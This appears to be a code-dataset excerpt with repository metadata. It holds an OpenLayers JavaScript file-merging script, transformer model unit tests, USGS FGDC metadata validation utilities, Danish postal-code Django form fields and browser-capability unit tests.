not filename.startswith("."): filepath = os.path.join(root, filename)[len(sourceDirectory)+1:] filepath = filepath.replace("\\", "/") if config and config.include: if filepath in config.include or filepath in config.forceFirst: allFiles.append(filepath) elif (not config) or (filepath not in config.exclude): allFiles.append(filepath) return allFiles def merge (sourceDirectory, config = None): """ Merges source files within a given directory according to a configuration :param sourceDirectory: a string designating the path of the OpenLayers source :param config: a mergejs.Config object """ from toposort import toposort allFiles = scanjs(sourceDirectory, config) ## Header inserted at the start of each file in the output HEADER = "/* " + "=" * 70 + "\n %s\n" + " " + "=" * 70 + " */\n\n" files = {} ## Import file source code ## TODO: Do import when we walk the directories above? for filepath in allFiles: fullpath = os.path.join(sourceDirectory, filepath).strip() content = open(fullpath, "U").read() # TODO: Ensure end of line @ EOF? files[filepath] = SourceFile(filepath, content) # TODO: Chop path? complete = False resolution_pass = 1 while not complete: order = [] # List of filepaths to output, in a dependency satisfying order nodes = [] routes = [] ## Resolve the dependencies resolution_pass += 1 for filepath, info in files.items(): nodes.append(filepath) for neededFilePath in info.requires: routes.append((neededFilePath, filepath)) for dependencyLevel in toposort(nodes, routes): for filepath in dependencyLevel: order.append(filepath) if not files.has_key(filepath): fullpath = os.path.join(sourceDirectory, filepath).strip() content = open(fullpath, "U").read() # TODO: Ensure end of line @ EOF? files[filepath] = SourceFile(filepath, content) # TODO: Chop path? # Double check all dependencies have been met complete = True try: for fp in order: if max([order.index(rfp) for rfp in files[fp].requires] + [order.index(fp)]) != order.index(fp): complete = False except: complete = False ## Move forced first and last files to the required position if config: order = config.forceFirst + [item for item in order if ((item not in config.forceFirst) and (item not in config.forceLast))] + config.forceLast ## Output the files in the determined order result = [] for fp in order: f = files[fp] result.append(HEADER % f.filepath) source = f.source result.append(source) if not source.endswith("\n"): result.append("\n") return "".join(result) if __name__ == "__main__": from optparse import OptionParser usage = "usage: mergejs.py <output.js> <source directory> [--config config filename]" parser = OptionParser(usage=usage) parser.add_option('-c', '--config', dest="config_filename", action="store", help="Config file name") (options, args) = parser.parse_args() try: outputFilename = sys.argv[0] sourceDirectory = sys.argv[1] except IndexError: parser.print_help() sys.exit() if options.config_filename: config = Config() config.read(options.config_filename) else: config = None output = merge(sourceDirectory, config) file(outputFilename, "w").write(output)

32.707113

102

0.612639

#!/usr/bin/env python # # Merge multiple JavaScript source code files into one. # # Usage: # This script requires source files to have dependencies specified in them. # # Dependencies are specified with a comment of the form: # # // @requires <file path> # # e.g. # # // @requires Geo/DataSource.js # # This script should be executed like so: # # mergejs.py <output.js> <directory> [...] # # e.g. # # mergejs.py openlayers.js Geo/ CrossBrowser/ # # This example will cause the script to walk the `Geo` and # `CrossBrowser` directories--and subdirectories thereof--and import # all `*.js` files encountered. The dependency declarations will be extracted # and then the source code from imported files will be output to # a file named `openlayers.js` in an order which fulfils the dependencies # specified. # # # Note: This is a very rough initial version of this code. # # -- Copyright 2005-2008 MetaCarta, Inc. / OpenLayers project -- # # TODO: Allow files to be excluded. e.g. `Crossbrowser/DebugMode.js`? # TODO: Report error when dependency can not be found rather than KeyError. import re, os, sys SUFFIX_JAVASCRIPT = ".js" RE_REQUIRE = "@requires:? (.*)\n" # TODO: Ensure in comment? class SourceFile: """ Represents a Javascript source code file. """ def __init__(self, filepath, source): """ """ self.filepath = filepath self.source = source self.requiredBy = [] def _getRequirements(self): """ Extracts the dependencies specified in the source code and returns a list of them. """ # TODO: Cache? return re.findall(RE_REQUIRE, self.source) requires = property(fget=_getRequirements, doc="") class Config: """ Represents a parsed configuration file. A configuration file should be of the following form: [first] 3rd/prototype.js core/application.js core/params.js # A comment [last] core/api.js # Another comment [exclude] 3rd/logger.js All headings are required. The files listed in the `first` section will be forced to load *before* all other files (in the order listed). The files in `last` section will be forced to load *after* all the other files (in the order listed). The files list in the `exclude` section will not be imported. Any text appearing after a # symbol indicates a comment. """ def __init__(self, **kwargs): self.forceFirst = kwargs.get('forceFirst', []) self.forceLast = kwargs.get('forceLast', []) self.include = kwargs.get('include', []) self.exclude = kwargs.get('exclude', []) def read(self, filename): """ Parses the content of the named file and stores the values. :param filename: the path to a configuration file :return none """ lines = [re.sub("#.*?$", "", line).strip() # Assumes end-of-line character is present for line in open(filename) if line.strip() and not line.strip().startswith("#")] # Skip blank lines and comments self.forceFirst = lines[lines.index("[first]") + 1:lines.index("[last]")] self.forceLast = lines[lines.index("[last]") + 1:lines.index("[include]")] self.include = lines[lines.index("[include]") + 1:lines.index("[exclude]")] self.exclude = lines[lines.index("[exclude]") + 1:] def scanjs(sourceDirectory, config = None): """ scans scanDirectory recursively and returns a list of paths to javascript files :param sourceDirectory: the directory root :return list object of all file paths """ allFiles = [] ## Find all the Javascript source files for root, dirs, files in os.walk(sourceDirectory): for filename in files: if filename.endswith(SUFFIX_JAVASCRIPT) and not filename.startswith("."): filepath = os.path.join(root, filename)[len(sourceDirectory)+1:] filepath = filepath.replace("\\", "/") if config and config.include: if filepath in config.include or filepath in config.forceFirst: allFiles.append(filepath) elif (not config) or (filepath not in config.exclude): allFiles.append(filepath) return allFiles def merge (sourceDirectory, config = None): """ Merges source files within a given directory according to a configuration :param sourceDirectory: a string designating the path of the OpenLayers source :param config: a mergejs.Config object """ from toposort import toposort allFiles = scanjs(sourceDirectory, config) ## Header inserted at the start of each file in the output HEADER = "/* " + "=" * 70 + "\n %s\n" + " " + "=" * 70 + " */\n\n" files = {} ## Import file source code ## TODO: Do import when we walk the directories above? for filepath in allFiles: fullpath = os.path.join(sourceDirectory, filepath).strip() content = open(fullpath, "U").read() # TODO: Ensure end of line @ EOF? files[filepath] = SourceFile(filepath, content) # TODO: Chop path? complete = False resolution_pass = 1 while not complete: order = [] # List of filepaths to output, in a dependency satisfying order nodes = [] routes = [] ## Resolve the dependencies resolution_pass += 1 for filepath, info in files.items(): nodes.append(filepath) for neededFilePath in info.requires: routes.append((neededFilePath, filepath)) for dependencyLevel in toposort(nodes, routes): for filepath in dependencyLevel: order.append(filepath) if not files.has_key(filepath): fullpath = os.path.join(sourceDirectory, filepath).strip() content = open(fullpath, "U").read() # TODO: Ensure end of line @ EOF? files[filepath] = SourceFile(filepath, content) # TODO: Chop path? # Double check all dependencies have been met complete = True try: for fp in order: if max([order.index(rfp) for rfp in files[fp].requires] + [order.index(fp)]) != order.index(fp): complete = False except: complete = False ## Move forced first and last files to the required position if config: order = config.forceFirst + [item for item in order if ((item not in config.forceFirst) and (item not in config.forceLast))] + config.forceLast ## Output the files in the determined order result = [] for fp in order: f = files[fp] result.append(HEADER % f.filepath) source = f.source result.append(source) if not source.endswith("\n"): result.append("\n") return "".join(result) if __name__ == "__main__": from optparse import OptionParser usage = "usage: mergejs.py <output.js> <source directory> [--config config filename]" parser = OptionParser(usage=usage) parser.add_option('-c', '--config', dest="config_filename", action="store", help="Config file name") (options, args) = parser.parse_args() try: outputFilename = sys.argv[0] sourceDirectory = sys.argv[1] except IndexError: parser.print_help() sys.exit() if options.config_filename: config = Config() config.read(options.config_filename) else: config = None output = merge(sourceDirectory, config) file(outputFilename, "w").write(output)

0

2,220

0

4

46

37506a8286c5b05402cb22c60eb6b8354ead4f28

5,955

py

Python

test/core/dnn/transformer_test.py

ClaudioBorges/ehrudite

8633995d3bf795fffeccabd7d20be522241f3bb5

[ "Apache-2.0" ]

null

test/core/dnn/transformer_test.py

ClaudioBorges/ehrudite

8633995d3bf795fffeccabd7d20be522241f3bb5

[ "Apache-2.0" ]

null

test/core/dnn/transformer_test.py

ClaudioBorges/ehrudite

8633995d3bf795fffeccabd7d20be522241f3bb5

[ "Apache-2.0" ]

1

2022-03-18T09:26:05.000Z

"""The test file for transformer DNN""" import ehrudite.core.dnn.transformer as transformer

34.224138

87

0.674559

"""The test file for transformer DNN""" import ehrudite.core.dnn.transformer as transformer import random import tensorflow as tf def test_transformer_encoder_decoder_layer(): batch_size = random.randint(8, 64) d_model = 2 ** random.randint(7, 9) dff = random.randint(512, 2048) input_seq_len = random.randint(40, 50) target_seq_len = random.randint(10, 30) num_heads = 2 ** random.randint(1, 4) encoder_layer = transformer.EncoderLayer(d_model, num_heads, dff) encoder_layer_output = encoder_layer( tf.random.uniform((batch_size, input_seq_len, d_model)), False, None ) assert (batch_size, input_seq_len, d_model) == encoder_layer_output.shape decoder_layer = transformer.DecoderLayer(d_model, num_heads, dff) decoder_layer_output, _, _ = decoder_layer( tf.random.uniform((batch_size, target_seq_len, d_model)), encoder_layer_output, False, None, None, ) assert (batch_size, target_seq_len, d_model) == decoder_layer_output.shape def test_transformer_encoder_decoder(): batch_size = random.randint(8, 64) d_model = 2 ** random.randint(7, 9) dff = random.randint(512, 2048) input_seq_len = random.randint(40, 50) input_vocab_size = random.randint(1000, 10000) maximum_position_encoding = random.randint(1024, 4096) num_heads = 2 ** random.randint(1, 4) num_layers = random.randint(2, 4) target_seq_len = random.randint(10, 30) target_vocab_size = random.randint(1000, 10000) encoder = transformer.Encoder( num_layers=num_layers, d_model=d_model, num_heads=num_heads, dff=dff, input_vocab_size=input_vocab_size, maximum_position_encoding=maximum_position_encoding, ) temp_input = tf.random.uniform( (batch_size, input_seq_len), dtype=tf.int64, minval=0, maxval=200 ) encoder_output = encoder(temp_input, training=False, mask=None) assert encoder_output.shape == (batch_size, input_seq_len, d_model) decoder = transformer.Decoder( num_layers=num_layers, d_model=d_model, num_heads=num_heads, dff=dff, target_vocab_size=target_vocab_size, maximum_position_encoding=maximum_position_encoding, ) temp_input = tf.random.uniform( (batch_size, target_seq_len), dtype=tf.int64, minval=0, maxval=200 ) output, attn = decoder( temp_input, enc_output=encoder_output, training=False, look_ahead_mask=None, padding_mask=None, ) assert output.shape == (batch_size, target_seq_len, d_model) assert len(attn.keys()) == 2 def test_transformer_positional_encoding(): maximum_position_encoding = random.randint(1024, 4096) d_model = 2 ** random.randint(7, 9) pos_encoding = transformer._positional_encoding(maximum_position_encoding, d_model) assert pos_encoding.shape == (1, maximum_position_encoding, d_model) def test_transformer_scaled_dot_product_attention(): # Both K and V penultimate dimension must match # Both K and Q leading dimension must mathc temp_k = tf.constant( [[10, 0, 0], [0, 10, 0], [0, 0, 10], [0, 0, 10]], dtype=tf.float32 ) # (4, 3) temp_v = tf.constant( [[1, 0], [10, 0], [100, 5], [1000, 6]], dtype=tf.float32 ) # (4, 2) # This `query` aligns with the second `key`, # so the second `value` is returned. temp_q = tf.constant([[0, 10, 0]], dtype=tf.float32) # (1, 3) temp_out, temp_attn = transformer.scaled_dot_product_attention( temp_q, temp_k, temp_v, None ) assert temp_attn.shape == (temp_q.shape[0], temp_v.shape[0]) assert temp_out.shape == (temp_q.shape[0], temp_v.shape[1]) temp_q = tf.constant( [[0, 0, 10], [0, 10, 0], [10, 10, 0]], dtype=tf.float32 ) # (3, 3) temp_out, temp_attn = transformer.scaled_dot_product_attention( temp_q, temp_k, temp_v, None ) assert temp_attn.shape == (temp_q.shape[0], temp_v.shape[0]) assert temp_out.shape == (temp_q.shape[0], temp_v.shape[1]) def test_multi_head_attention(): batch_size = random.randint(8, 64) d_model = 2 ** random.randint(7, 9) encoder_sequence = random.randint(50, 100) num_heads = 2 ** random.randint(1, 4) temp_mha = transformer.MultiHeadAttention(d_model=d_model, num_heads=num_heads) y = tf.random.uniform( (batch_size, encoder_sequence, d_model) ) # (batch_size, encoder_sequence, d_model) out, attn = temp_mha(y, k=y, q=y, mask=None) assert out.shape == y.shape assert attn.shape == (y.shape[0], num_heads, y.shape[1], y.shape[1]) def test_transformer_model(): batch_size = random.randint(8, 64) d_model = 2 ** random.randint(7, 9) dff = random.randint(512, 2048) input_seq_len = random.randint(40, 50) input_vocab_size = random.randint(1000, 10000) num_heads = 2 ** random.randint(1, 4) num_layers = random.randint(2, 4) target_seq_len = random.randint(10, 30) target_vocab_size = random.randint(1000, 10000) sample_transformer = transformer.Transformer( num_layers=num_layers, d_model=d_model, num_heads=num_heads, dff=dff, input_vocab_size=input_vocab_size, target_vocab_size=target_vocab_size, pe_input=random.randint(5000, 10000), pe_target=random.randint(2000, 4000), ) temp_input = tf.random.uniform( (batch_size, input_seq_len), dtype=tf.int64, minval=0, maxval=200 ) temp_target = tf.random.uniform( (batch_size, target_seq_len), dtype=tf.int64, minval=0, maxval=200 ) fn_out, _ = sample_transformer([temp_input, temp_target], training=False) assert fn_out.shape == (batch_size, target_seq_len, target_vocab_size) def test_optimizer(): d_model = 2 ** random.randint(7, 9) optimizer = transformer.optimizer(d_model) assert optimizer is not None

0

5,656

0

-6

205

8e54067c74c3efbad693b3983718ac2e603e8a34

9,858

py

Python

pymdwizard/core/fgdc_utils.py

mmfink/fort-pymdwizard

96f46e8cc2594b82b475b4f3fcae96a05ebc03e4

[ "CC-BY-4.0" ]

53

2017-05-01T05:03:33.000Z

2022-03-13T04:49:15.000Z

pymdwizard/core/fgdc_utils.py

mmfink/fort-pymdwizard

96f46e8cc2594b82b475b4f3fcae96a05ebc03e4

[ "CC-BY-4.0" ]

109

2017-05-17T15:15:40.000Z

2022-03-24T21:12:45.000Z

pymdwizard/core/fgdc_utils.py

mmfink/fort-pymdwizard

96f46e8cc2594b82b475b4f3fcae96a05ebc03e4

[ "CC-BY-4.0" ]

17

2017-02-08T16:18:18.000Z

2021-01-28T19:38:09.000Z

#!/usr/bin/env python # -*- coding: utf8 -*- """ The MetadataWizard(pymdwizard) software was developed by the U.S. Geological Survey Fort Collins Science Center. See: https://github.com/usgs/fort-pymdwizard for current project source code See: https://usgs.github.io/fort-pymdwizard/ for current user documentation See: https://github.com/usgs/fort-pymdwizard/tree/master/examples for examples of use in other scripts License: Creative Commons Attribution 4.0 International (CC BY 4.0) http://creativecommons.org/licenses/by/4.0/ PURPOSE ------------------------------------------------------------------------------ Module contains utility functions for interacting with XML FGDC records SCRIPT DEPENDENCIES ------------------------------------------------------------------------------ This script is part of the pymdwizard package and is not intented to be used independently. All pymdwizard package requirements are needed. See imports section for external packages used in this script as well as inter-package dependencies U.S. GEOLOGICAL SURVEY DISCLAIMER ------------------------------------------------------------------------------ This software has been approved for release by the U.S. Geological Survey (USGS). Although the software has been subjected to rigorous review, the USGS reserves the right to update the software as needed pursuant to further analysis and review. No warranty, expressed or implied, is made by the USGS or the U.S. Government as to the functionality of the software and related material nor shall the fact of release constitute any such warranty. Furthermore, the software is released on condition that neither the USGS nor the U.S. Government shall be held liable for any damages resulting from its authorized or unauthorized use. Any use of trade, product or firm names is for descriptive purposes only and does not imply endorsement by the U.S. Geological Survey. Although this information product, for the most part, is in the public domain, it also contains copyrighted material as noted in the text. Permission to reproduce copyrighted items for other than personal use must be secured from the copyright owner. ------------------------------------------------------------------------------ """ import json from dateutil import parser import defusedxml.lxml as lxml import pandas as pd from pymdwizard.core import xml_utils from pymdwizard.core import utils from collections import OrderedDict FGDC_XSD_NAME = "FGDC/fgdc-std-001-1998-annotated.xsd" BDP_XSD_NAME = "FGDC/BDPfgdc-std-001-1998-annotated.xsd" def validate_xml(xml, xsl_fname="fgdc", as_dataframe=False): """ Parameters ---------- xml : lxml document or filename or string containing xml representation xsl_fname : str (optional) can be one of: 'fgdc' - uses the standard fgdc schema ../resources/FGDC/fgdc-std-001-1998-annotated.xsd 'bdp' = use the Biological Data profile schema, ../resources/FGDC/BDPfgdc-std-001-1998-annotated.xsd full file path to another local schema. if not specified defaults to 'fgdc' as_dataframe : bool used to specify return format (list of tuples or dataframe) Returns ------- list of tuples (xpath, error message, line number) or pandas dataframe """ if xsl_fname.lower() == "fgdc": xsl_fname = utils.get_resource_path(FGDC_XSD_NAME) elif xsl_fname.lower() == "bdp": xsl_fname = utils.get_resource_path(BDP_XSD_NAME) else: xsl_fname = xsl_fname xmlschema = xml_utils.load_schema(xsl_fname) xml_doc = xml_utils.xml_document_loader(xml) xml_str = xml_utils.node_to_string(xml_doc) tree_node = xml_utils.string_to_node(xml_str.encode("utf-8")) lxml._etree._ElementTree(tree_node) errors = [] srcciteas = [] src_xpath = "dataqual/lineage/srcinfo/srccitea" src_nodes = tree_node.xpath(src_xpath) for i, src in enumerate(src_nodes): srcciteas.append(src.text) if src.text is None: if len(src_nodes) == 1: errors.append( ( "metadata/" + src_xpath, "source citation abbreviation cannot be empty", 1, ) ) else: xpath = "metadata/dataqual/lineage/srcinfo[{}]/srccitea" errors.append( ( xpath.format(i + 1), "source citation abbreviation cannot be empty", 1, ) ) procstep_xpath = "dataqual/lineage/procstep" procstep_nodes = tree_node.xpath(procstep_xpath) for proc_i, proc in enumerate(procstep_nodes): srcprod_nodes = proc.xpath("srcprod") for srcprod_i, srcprod in enumerate(srcprod_nodes): srcciteas.append(srcprod.text) if srcprod.text is None: error_xpath = procstep_xpath if len(procstep_nodes) > 1: error_xpath += "[{}]".format(proc_i + 1) error_xpath += "/srcprod" if len(srcprod_nodes) > 1: error_xpath += "[{}]".format(proc_i + 1) errors.append( ( "metadata/" + error_xpath, "source produced abbreviation cannot be empty", 1, ) ) srcused_xpath = "dataqual/lineage/procstep/srcused" srcused_nodes = tree_node.xpath(srcused_xpath) for i, src in enumerate(srcused_nodes): if src.text not in srcciteas: if len(srcused_nodes) == 1: errors.append( ( "metadata/" + srcused_xpath, "Source Used Citation Abbreviation {} " "not found in Source inputs " "used".format(src.text), 1, ) ) else: xpath = "metadata/dataqual/lineage/procstep[{}]/srcused" errors.append( ( xpath.format(i + 1), "Source Used Citation Abbreviation {} " "not found in Source inputs " "used".format(src.text), 1, ) ) if xmlschema.validate(tree_node) and not errors: return [] line_lookup = dict( [ (e.sourceline, tree_node.getroottree().getpath(e)) for e in tree_node.xpath(".//*") ] ) sourceline = tree_node.sourceline line_lookup[sourceline] = tree_node.getroottree().getpath(tree_node) fgdc_lookup = get_fgdc_lookup() for error in xmlschema.error_log: error_msg = clean_error_message(error.message, fgdc_lookup) try: errors.append((line_lookup[error.line][1:], error_msg, error.line)) except KeyError: errors.append(("Unknown", error_msg, error.line)) errors = list(OrderedDict.fromkeys(errors)) if as_dataframe: cols = ["xpath", "message", "line number"] return pd.DataFrame.from_records(errors, columns=cols) else: return errors def get_fgdc_lookup(): """ Loads the local resource, 'bdp_lookup' into a json object Returns ------- json fgdc item lookup """ annotation_lookup_fname = utils.get_resource_path("FGDC/bdp_lookup") try: with open(annotation_lookup_fname, encoding="utf-8") as data_file: annotation_lookup = json.loads(data_file.read()) except TypeError: with open(annotation_lookup_fname) as data_file: annotation_lookup = json.loads(data_file.read()) return annotation_lookup def clean_error_message(message, fgdc_lookup=None): """ Returns a cleaned up, more informative translation of a raw xml schema error message. Empty or missing elements are described in plain English Parameters ---------- message : str The raw message we will be cleaning up Returns ------- str : cleaned up error message """ parts = message.split() if "Missing child element" in message: clean_message = "The {} is missing the expected element(s) '{}'" clean_message.format(parts[1][:-1], parts[-2]) elif ( r"' is not accepted by the pattern '\s*\S(.|\n|\r)*'" in message or "'' is not a valid value of the atomic type" in message ): shortname = parts[1][:-1].replace("'", "") try: longname = fgdc_lookup[shortname]["long_name"] except (KeyError, TypeError): longname = None if longname is None: name = shortname else: name = "{} ({})".format(longname, shortname) clean_message = "The value for {} cannot be empty" clean_message = clean_message.format(name) else: clean_message = message return clean_message def format_date(date_input): """ Convert a Python date object into an FGDC string format YYYYMMDD Parameters ---------- date_input : str or datetime if str provided must be in format that dateutil's parser can handle Returns ------- str : date formated in FGDC YYYYMMDD format """ if type(date_input) == str: date_input = parser.parse(date_input) return date_input.strftime("%Y%m%d")

33.993103

79

0.582674

#!/usr/bin/env python # -*- coding: utf8 -*- """ The MetadataWizard(pymdwizard) software was developed by the U.S. Geological Survey Fort Collins Science Center. See: https://github.com/usgs/fort-pymdwizard for current project source code See: https://usgs.github.io/fort-pymdwizard/ for current user documentation See: https://github.com/usgs/fort-pymdwizard/tree/master/examples for examples of use in other scripts License: Creative Commons Attribution 4.0 International (CC BY 4.0) http://creativecommons.org/licenses/by/4.0/ PURPOSE ------------------------------------------------------------------------------ Module contains utility functions for interacting with XML FGDC records SCRIPT DEPENDENCIES ------------------------------------------------------------------------------ This script is part of the pymdwizard package and is not intented to be used independently. All pymdwizard package requirements are needed. See imports section for external packages used in this script as well as inter-package dependencies U.S. GEOLOGICAL SURVEY DISCLAIMER ------------------------------------------------------------------------------ This software has been approved for release by the U.S. Geological Survey (USGS). Although the software has been subjected to rigorous review, the USGS reserves the right to update the software as needed pursuant to further analysis and review. No warranty, expressed or implied, is made by the USGS or the U.S. Government as to the functionality of the software and related material nor shall the fact of release constitute any such warranty. Furthermore, the software is released on condition that neither the USGS nor the U.S. Government shall be held liable for any damages resulting from its authorized or unauthorized use. Any use of trade, product or firm names is for descriptive purposes only and does not imply endorsement by the U.S. Geological Survey. Although this information product, for the most part, is in the public domain, it also contains copyrighted material as noted in the text. Permission to reproduce copyrighted items for other than personal use must be secured from the copyright owner. ------------------------------------------------------------------------------ """ import json from dateutil import parser import defusedxml.lxml as lxml import pandas as pd from pymdwizard.core import xml_utils from pymdwizard.core import utils from collections import OrderedDict FGDC_XSD_NAME = "FGDC/fgdc-std-001-1998-annotated.xsd" BDP_XSD_NAME = "FGDC/BDPfgdc-std-001-1998-annotated.xsd" def validate_xml(xml, xsl_fname="fgdc", as_dataframe=False): """ Parameters ---------- xml : lxml document or filename or string containing xml representation xsl_fname : str (optional) can be one of: 'fgdc' - uses the standard fgdc schema ../resources/FGDC/fgdc-std-001-1998-annotated.xsd 'bdp' = use the Biological Data profile schema, ../resources/FGDC/BDPfgdc-std-001-1998-annotated.xsd full file path to another local schema. if not specified defaults to 'fgdc' as_dataframe : bool used to specify return format (list of tuples or dataframe) Returns ------- list of tuples (xpath, error message, line number) or pandas dataframe """ if xsl_fname.lower() == "fgdc": xsl_fname = utils.get_resource_path(FGDC_XSD_NAME) elif xsl_fname.lower() == "bdp": xsl_fname = utils.get_resource_path(BDP_XSD_NAME) else: xsl_fname = xsl_fname xmlschema = xml_utils.load_schema(xsl_fname) xml_doc = xml_utils.xml_document_loader(xml) xml_str = xml_utils.node_to_string(xml_doc) tree_node = xml_utils.string_to_node(xml_str.encode("utf-8")) lxml._etree._ElementTree(tree_node) errors = [] srcciteas = [] src_xpath = "dataqual/lineage/srcinfo/srccitea" src_nodes = tree_node.xpath(src_xpath) for i, src in enumerate(src_nodes): srcciteas.append(src.text) if src.text is None: if len(src_nodes) == 1: errors.append( ( "metadata/" + src_xpath, "source citation abbreviation cannot be empty", 1, ) ) else: xpath = "metadata/dataqual/lineage/srcinfo[{}]/srccitea" errors.append( ( xpath.format(i + 1), "source citation abbreviation cannot be empty", 1, ) ) procstep_xpath = "dataqual/lineage/procstep" procstep_nodes = tree_node.xpath(procstep_xpath) for proc_i, proc in enumerate(procstep_nodes): srcprod_nodes = proc.xpath("srcprod") for srcprod_i, srcprod in enumerate(srcprod_nodes): srcciteas.append(srcprod.text) if srcprod.text is None: error_xpath = procstep_xpath if len(procstep_nodes) > 1: error_xpath += "[{}]".format(proc_i + 1) error_xpath += "/srcprod" if len(srcprod_nodes) > 1: error_xpath += "[{}]".format(proc_i + 1) errors.append( ( "metadata/" + error_xpath, "source produced abbreviation cannot be empty", 1, ) ) srcused_xpath = "dataqual/lineage/procstep/srcused" srcused_nodes = tree_node.xpath(srcused_xpath) for i, src in enumerate(srcused_nodes): if src.text not in srcciteas: if len(srcused_nodes) == 1: errors.append( ( "metadata/" + srcused_xpath, "Source Used Citation Abbreviation {} " "not found in Source inputs " "used".format(src.text), 1, ) ) else: xpath = "metadata/dataqual/lineage/procstep[{}]/srcused" errors.append( ( xpath.format(i + 1), "Source Used Citation Abbreviation {} " "not found in Source inputs " "used".format(src.text), 1, ) ) if xmlschema.validate(tree_node) and not errors: return [] line_lookup = dict( [ (e.sourceline, tree_node.getroottree().getpath(e)) for e in tree_node.xpath(".//*") ] ) sourceline = tree_node.sourceline line_lookup[sourceline] = tree_node.getroottree().getpath(tree_node) fgdc_lookup = get_fgdc_lookup() for error in xmlschema.error_log: error_msg = clean_error_message(error.message, fgdc_lookup) try: errors.append((line_lookup[error.line][1:], error_msg, error.line)) except KeyError: errors.append(("Unknown", error_msg, error.line)) errors = list(OrderedDict.fromkeys(errors)) if as_dataframe: cols = ["xpath", "message", "line number"] return pd.DataFrame.from_records(errors, columns=cols) else: return errors def get_fgdc_lookup(): """ Loads the local resource, 'bdp_lookup' into a json object Returns ------- json fgdc item lookup """ annotation_lookup_fname = utils.get_resource_path("FGDC/bdp_lookup") try: with open(annotation_lookup_fname, encoding="utf-8") as data_file: annotation_lookup = json.loads(data_file.read()) except TypeError: with open(annotation_lookup_fname) as data_file: annotation_lookup = json.loads(data_file.read()) return annotation_lookup def clean_error_message(message, fgdc_lookup=None): """ Returns a cleaned up, more informative translation of a raw xml schema error message. Empty or missing elements are described in plain English Parameters ---------- message : str The raw message we will be cleaning up Returns ------- str : cleaned up error message """ parts = message.split() if "Missing child element" in message: clean_message = "The {} is missing the expected element(s) '{}'" clean_message.format(parts[1][:-1], parts[-2]) elif ( r"' is not accepted by the pattern '\s*\S(.|\n|\r)*'" in message or "'' is not a valid value of the atomic type" in message ): shortname = parts[1][:-1].replace("'", "") try: longname = fgdc_lookup[shortname]["long_name"] except (KeyError, TypeError): longname = None if longname is None: name = shortname else: name = "{} ({})".format(longname, shortname) clean_message = "The value for {} cannot be empty" clean_message = clean_message.format(name) else: clean_message = message return clean_message def format_date(date_input): """ Convert a Python date object into an FGDC string format YYYYMMDD Parameters ---------- date_input : str or datetime if str provided must be in format that dateutil's parser can handle Returns ------- str : date formated in FGDC YYYYMMDD format """ if type(date_input) == str: date_input = parser.parse(date_input) return date_input.strftime("%Y%m%d")

0

fa35d2742f0af2fece6c31ef5a0689b9bda6cc31

898

py

Python

localflavor/dk/forms.py

int2k/django-localflavor

fcda7f3aa3685f15f031b7d9b78f02e19ac5fb0b

[ "BSD-3-Clause" ]

1

2020-07-12T23:24:38.000Z

localflavor/dk/forms.py

KonstantinKlepikov/django-localflavor

87133f6cea1799e0b5e073dbc727dc88746f8fa8

[ "BSD-3-Clause" ]

null

localflavor/dk/forms.py

KonstantinKlepikov/django-localflavor

87133f6cea1799e0b5e073dbc727dc88746f8fa8

[ "BSD-3-Clause" ]

1

2020-01-17T16:26:54.000Z

"""Denmark specific Form helpers."""

33.259259

94

0.759465

"""Denmark specific Form helpers.""" from django.core.exceptions import ValidationError from django.forms import fields, widgets from django.utils.translation import gettext_lazy as _ from .dk_municipalities import DK_MUNICIPALITIES from .dk_postalcodes import DK_POSTALCODES def postal_code_validator(value): if value not in [entry[0] for entry in DK_POSTALCODES]: raise ValidationError(_('Enter a postal code in the format XXXX.')) class DKPostalCodeField(fields.CharField): """An Input widget that uses a list of Danish postal codes as valid input.""" default_validators = [postal_code_validator] class DKMunicipalitySelect(widgets.Select): """A Select widget that uses a list of Danish municipalities (kommuner) as its choices.""" def __init__(self, attrs=None, *args, **kwargs): super().__init__(attrs, choices=DK_MUNICIPALITIES, *args, **kwargs)

0

400

0

148

0

129

181

b8de9676b1c3db948ce6ca35eb77076d04fa3617

3,445

py

Python

test/unit/test_browser.py

sanAkdam/chime

1adbddbdddcdc2669086dee60d1bfb2f97535cff

[ "BSD-3-Clause" ]

8

2015-02-05T22:12:41.000Z

2015-05-15T16:15:14.000Z

test/unit/test_browser.py

sanAkdam/chime

1adbddbdddcdc2669086dee60d1bfb2f97535cff

[ "BSD-3-Clause" ]

168

2015-02-02T23:02:52.000Z

2015-05-15T21:54:07.000Z

test/unit/test_browser.py

codeforamerica/bizarro-cms

1adbddbdddcdc2669086dee60d1bfb2f97535cff

[ "BSD-3-Clause" ]

5

2016-11-20T15:51:32.000Z

2021-04-16T09:44:08.000Z

import unittest if __name__ == '__main__': unittest.main()

37.043011

116

0.613933

import unittest from unittest import TestCase from acceptance.browser import Browser class TestBrowser(TestCase): def test_creation(self): browser = Browser('Windows', '7', "IE", '8.0') self.assertEqual('Windows', browser.os) self.assertEqual('7', browser.os_version) self.assertEqual('IE', browser.browser) self.assertEqual('8.0', browser.browser_version) def test_as_selenium_capabilities(self): browser = Browser('Windows', '7', "IE", '8.0') self.assertEqual( {'os': 'Windows', 'os_version': '7', 'browser': 'IE', 'browser_version': '8.0'}, browser.as_browserstack_capabilities()) def test_as_browserstack_capabilities_with_extra_info(self): browser = Browser('Windows', '7', "IE", '8.0') self.assertEqual( {'os': 'Windows', 'os_version': '7', 'browser': 'IE', 'browser_version': '8.0'}, browser.as_browserstack_capabilities()) def test_as_saucelabs_capabilities(self): browser = Browser('Windows', '7', "IE", '8.0') self.assertEqual( {'platform': 'Windows 7', 'browserName': 'internet explorer', 'version': '8.0', 'foo': 'bar'}, browser.as_saucelabs_capabilities({'foo': 'bar'})) def test_doesnt_mutate_extra_info(self): browser = Browser('Windows', '7', "IE", '8.0') other_info = {'foo': 'bar'} self.assertEqual( {'os': 'Windows', 'os_version': '7', 'browser': 'IE', 'browser_version': '8.0', 'foo': 'bar'}, browser.as_browserstack_capabilities(other_info)) self.assertEqual(1, len(other_info.keys())) def test_from_string_basic(self): browsers = Browser.from_string("all") self.assertEqual(9, len(browsers)) browsers = Browser.from_string(None) self.assertEqual(None, browsers) browsers = Browser.from_string("") self.assertEqual(None, browsers) def test_from_string_unknown(self): with self.assertRaises(ValueError): Browser.from_string("arglebargle") def test_from_string_supported(self): browsers = Browser.from_string("supported") self.assertEqual(8, len(browsers)) self.assertFalse(Browser('Windows', '8.1', "IE", '11.0') in browsers) def test_from_string_with_browser(self): browsers = Browser.from_string("ie8") self.assertEqual([Browser('Windows', '7', "IE", '8.0')], browsers) browsers = Browser.from_string("ie11") self.assertEqual([Browser('Windows', '8.1', "IE", '11.0'), Browser('Windows', '7', "IE", '11.0')], browsers) def test_from_string_with_os(self): browsers = Browser.from_string("win8.1") for browser in browsers: 